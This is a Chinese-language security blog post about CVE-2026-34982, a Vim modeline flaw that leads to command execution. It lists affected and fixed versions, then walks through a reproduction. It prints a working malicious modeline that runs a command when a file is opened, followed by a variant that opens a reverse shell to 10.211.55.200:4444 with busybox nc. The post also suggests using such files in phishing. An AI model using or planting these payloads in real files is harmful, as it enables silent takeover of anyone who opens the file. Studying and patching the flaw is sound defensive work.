Vim 远程代码执行漏洞(CVE-2026-34982)

本文最后更新于 2026年4月2日 中午

免责声明:
本文仅用于安全技术研究与交流,所有操作均在本地测试环境中完成,请勿在未授权的目标上进行测试。若因滥用本文技术造成任何损失或法律问题,均与作者无关。

漏洞描述

漏洞是 Vim 中两个缺陷组合形成的远程代码执行漏洞。当用户打开包含恶意 modeline 的文件时,攻击者可通过未正确限制的 tabpanel 选项注入表达式,并在沙箱环境中调用 autocmd_add() 注册自动命令。由于该函数未校验安全上下文,导致注册的自动命令可在沙箱退出后执行,从而绕过安全限制,最终实现任意命令执行。

漏洞危害

攻击者可通过构造恶意文件诱导用户使用 Vim 打开,从而在用户权限下执行任意系统命令,实现本地代码执行(RCE)。该漏洞利用门槛较低,且无需额外交互,在实际场景中可结合钓鱼文件、代码仓库投递等方式进行攻击,进而导致主机被控、敏感信息泄露或进一步横向移动。

漏洞影响版本

9.2.0 < Vim < 9.2.0272

漏洞修复

目前官方已有可更新版本,建议受影响用户升级至最新版本:

1
2
# Vim >= 9.2.0276下载地址
https://github.com/vim/vim/releases/tag/v9.2.0276

漏洞复现

注意: 以下演示均在本地搭建的测试环境进行。

Payload 参考链接:

1
https://github.com/califio/publications/tree/main/MADBugs/vim-vs-emacs-vs-claude

在本地 Kali 环境中测试发现,Vim 9.1 版本未成功复现该漏洞,推测该漏洞主要影响 9.2 至 9.2.0272 之间的版本。

使用 docker 搭建 ubuntu,手动编译一个 v9.2.0100 的 vim。

1
sudo docker run -it --rm --network host ubuntu:22.04 bash

编译安装。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
apt update
apt install -y git build-essential ncurses-dev wget

git clone https://github.com/vim/vim.git
cd vim

# 切换到漏洞版本(任选一个 < 9.2.0272)
git checkout v9.2.0100

./configure
make -j$(nproc)
make install

vim --version

下载漏洞利用 payload 文件,其中包含的恶意代码将在触发时执行 id 命令。

1
wget https://raw.githubusercontent.com/califio/publications/refs/heads/main/MADBugs/vim-vs-emacs-vs-claude/vim.md

1
/* vim: set showtabpanel=2 tabpanel=%{%autocmd_add([{'event':'SafeStateAgain','pattern':'*','cmd':'!id>/tmp/calif-vim-rce-poc','once':1}])%}: */

当使用 Vim 打开包含恶意代码的文件时即可触发命令执行。但在测试过程中发现,使用 root 用户运行 Vim 时漏洞无法复现,需在普通用户权限下执行。推测这是由于 Vim 在高权限环境下启用了额外的安全限制,对潜在危险的命令执行行为进行了拦截。

在容器创建一个普通用户 test,然后执行 Vim,发现成功执行了 id 指令。

1
2
3
useradd -m test
su test
vim vim.md

若想进一步利用可修改 payload 为 RCE 指令,注意: 命令包含特殊字符需进行转义。

1
/* vim: set showtabpanel=2 tabpanel=%{%autocmd_add([{'event'\:'SafeStateAgain','pattern'\:'*','cmd'\:'!busybox\ nc\ 10.211.55.200\ 4444\ -e\ /bin/bash','once'\:1}])%}: */

该漏洞可被用于钓鱼攻击场景,当目标主机存在受影响版本的 Vim 时,攻击者仅需诱导用户打开包含恶意指令的文件,即可在用户权限下触发远程代码执行。

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


Vim 远程代码执行漏洞(CVE-2026-34982)
https://www.f0nesec.top/2026/04/02/vim-cve-2026-34982/
作者
F0ne
发布于
2026年4月2日
许可协议